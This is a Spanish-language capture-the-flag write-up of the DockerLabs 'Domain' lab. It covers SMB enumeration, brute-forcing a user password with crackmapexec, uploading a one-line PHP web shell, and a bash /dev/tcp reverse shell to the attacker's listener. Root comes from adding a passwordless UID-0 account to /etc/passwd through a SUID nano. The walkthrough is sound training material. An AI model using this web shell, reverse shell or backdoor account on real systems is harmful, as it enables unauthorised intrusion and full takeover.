DockerLabs - Domain
nmap
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nmap -sCV -p80,139,445 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: \xC2\xBFQu\xC3\xA9 es Samba?
|_http-server-header: Apache/2.4.52 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-XX-XXTXX:XX:XX
|_ start_date: N/A
análisis
En la pantalla principal encontramos una breve introducción explicando qué es Samba:
Dado que estamos tratando con SMB, vamos a ejecutar un escaneo con enum4linux en busca de información útil, donde nos termina revelando los usuarios james y bob, y varios recursos compartidos a los que no tenemos acceso sin credenciales válidas:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ enum4linux -a 172.17.0.2
=========================================( Target Information )=========================================
Target ........... 172.17.0.2
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
========================================( Users on 172.17.0.2 )========================================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: james Name: james Desc:
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: bob Name: bob Desc:
user:[james] rid:[0x3e8]
user:[bob] rid:[0x3e9]
[+] Attempting to map shares on 172.17.0.2
//172.17.0.2/print$ Mapping: DENIED Listing: N/A Writing: N/A
//172.17.0.2/html Mapping: DENIED Listing: N/A Writing: N/A
acceso inicial (www-data)
Intentamos obtener las credenciales de los usuarios james y bob por fuerza bruta usando crackmapexec (o la versión más actual, que es nxc), y tras un rato, obtenemos la del usuario bob:
1
2
3
4
5
6
7
8
9
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ crackmapexec smb 172.17.0.2 -u bob -p /usr/share/seclists/Passwords/rockyou.txt
SMB 172.17.0.2 445 E1E8E5AA2A82 [*] Windows 6.1 Build 0 (name:E1E8E5AA2A82) (domain:E1E8E5AA2A82) (signing:False) (SMBv1:False)
SMB 172.17.0.2 445 E1E8E5AA2A82 [-] E1E8E5AA2A82\bob:123456 STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 E1E8E5AA2A82 [-] E1E8E5AA2A82\bob:12345 STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 E1E8E5AA2A82 [-] E1E8E5AA2A82\bob:123456789 STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 E1E8E5AA2A82 [-] E1E8E5AA2A82\bob:password STATUS_LOGON_FAILURE
...
SMB 172.17.0.2 445 E1E8E5AA2A82 [+] E1E8E5AA2A82\bob:****
Nos conectamos por SMB con smbclient, y dentro encontramos un fichero index.html, el cual nos bajamos para revisarlo:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ smbclient \\\\172.17.0.2\\html -U "bob%****"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 11 09:35:48 2024
.. D 0 Thu Apr 11 09:18:47 2024
index.html N 1832 Thu Apr 11 09:21:43 2024
76798724 blocks of size 1024. 33857628 blocks available
smb: \> get index.html
getting file \index.html of size 1832 as index.html (298.2 KiloBytes/sec) (average 298.2 KiloBytes/sec)
smb: \> exit
Al revisarlo, nos damos cuenta de que es muy probable que sea el que vemos en la pantalla principal del servidor web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ cat index.html
<!DOCTYPE html>
<html lang="es">
<head>
...
</head>
<body>
<div class="container">
<h1>¿Qué es Samba?</h1>
<p>Samba es una implementación de software libre del protocolo de archivos compartidos de Microsoft Windows para sistemas operativos tipo Unix. Permite que sistemas operativos Unix compartan archivos e impresoras en una red de área local utilizando el protocolo SMB/CIFS.</p>
<h2>¿Para qué sirve Samba?</h2>
<p>Samba es útil en entornos donde hay una mezcla de sistemas operativos, incluidos Windows y sistemas basados en Unix como Linux o macOS. Con Samba, los usuarios de Windows pueden acceder a archivos y recursos compartidos en servidores Unix, y viceversa.</p>
<p>Además de compartir archivos, Samba también puede actuar como un controlador de dominio en redes Windows, proporcionando autenticación y servicios de directorio.</p>
<p>En resumen, Samba es una herramienta fundamental para la interoperabilidad entre sistemas Windows y Unix en redes empresariales y domésticas.</p>
</div>
</body>
</html>
Si es este el caso, lo que podemos hacer es subir un script que nos permita ejecutar comandos de forma remota:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nvim cmd.php
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ cat cmd.php
<?php
system($_GET['cmd']);
?>
Una vez creado el script, lo subimos:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ smbclient \\\\172.17.0.2\\html -U "bob%star"
Try "help" to get a list of possible commands.
smb: \> put cmd.php
putting file cmd.php as \cmd.php (2.6 kB/s) (average 2.6 kB/s)
smb: \> ls
. D 0 XXX XXX XX XX:XX:XX 2026
.. D 0 Thu Apr 11 09:18:47 2024
index.html N 1832 Thu Apr 11 09:21:43 2024
cmd.php A 32 XXX XXX XX XX:XX:XX 2026
76798724 blocks of size 1024. 33857552 blocks available
Si ahora tratamos de acceder a este script desde el navegador, veremos que es posible ejecutar comandos:
1
http://172.17.0.2/cmd.php?cmd=id
Procedemos a obtener una reverse shell poniéndonos en escucha por consola con nc, y ejecutando el siguiente comando (hay que codificar los & a %26 para que no entre en conflicto):
1
http://172.17.0.2/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/4444 0>%261'
En la consola donde estamos en escucha deberíamos haber obtenido la reverse shell:
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38110
www-data@e1e8e5aa2a82:/var/www/html$ whoami
whoami
www-data
www-data@e1e8e5aa2a82:/var/www/html$ hostname -I
hostname -I
172.17.0.2
Ahora trataremos la TTY para tener una consola completamente interactiva:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@e1e8e5aa2a82:/var/www/html$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@e1e8e5aa2a82:/var/www/html$ ^Z
zsh: suspended nc -nlvp 4444
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ stty raw -echo;fg
[1] + continued nc -nlvp 4444
reset xterm
www-data@e1e8e5aa2a82:/var/www/html$ export TERM=xterm
www-data@e1e8e5aa2a82:/var/www/html$ export SHELL=bash
www-data@e1e8e5aa2a82:/home$ stty rows 48 columns 210
En el fichero /etc/passwd comprobamos si hay más usuarios que tengan asignada una consola, pero únicamente encontramos los que ya hemos descubierto previamente:
1
2
3
4
www-data@e1e8e5aa2a82:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
james:x:1001:1001:james,,,:/home/james:/bin/bash
movimiento lateral (bob)
Dado que sabemos cual es la contraseña del usuario bob por SMB, podemos comprobar si se está reutilizando la contraseña también a nivel de sistema, y vemos que se está haciendo:
1
2
3
4
www-data@e1e8e5aa2a82:/home$ su bob
Password:
bob@e1e8e5aa2a82:/home$ whoami
bob
escalada de privilegios (root)
Buscamos los binarios cuyos permisos sean SUID (se pueden ejecutar con los permisos del propietario), donde notamos que hay uno que no suele ser común ver (/usr/bin/nano):
1
2
3
4
5
6
7
8
9
10
11
bob@e1e8e5aa2a82:~$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chsh
/usr/bin/nano
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Tener permisos SUID sobre editores de texto como nano nos permite modificar cualquier fichero dentro del sistema, ya que el propietario suele ser el usuario root o algún otro usuario privilegiado.
Lo que haremos en este caso es modificar el fichero /etc/passwd para añadir un nuevo usuario privilegiado:
1
bob@e1e8e5aa2a82:/home$ nano /etc/passwd
La siguiente línea es la que debemos indicar en fichero /etc/passwd:
1
root2::0:0::/root:/bin/bash
Los valores del campo de nombre, la contraseña, la carpeta personal o la shell asignada pueden variar, pero el UID y el GID deben ser 0 para que el usuario sea privilegiado (root), tal y como se indica en la siguiente imagen, la cual explica la estructura de los registros del fichero /etc/passwd:
Teniendo esto claro, procedemos a modificar el fichero /etc/passwd y revisamos que el resultado sea el siguiente:
1
2
3
4
5
6
bob@e1e8e5aa2a82:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
james:x:1001:1001:james,,,:/home/james:/bin/bash
root2::0:0::/root:/bin/bash
Si ahora probamos a conectarnos como el nuevo usuario, veremos que nos otorga la contraseña sin pedirnos la contraseña:
1
2
3
bob@e1e8e5aa2a82:/home$ su root2
root@e1e8e5aa2a82:/home# whoami
root
Con esto habremos completado la máquina Domain!



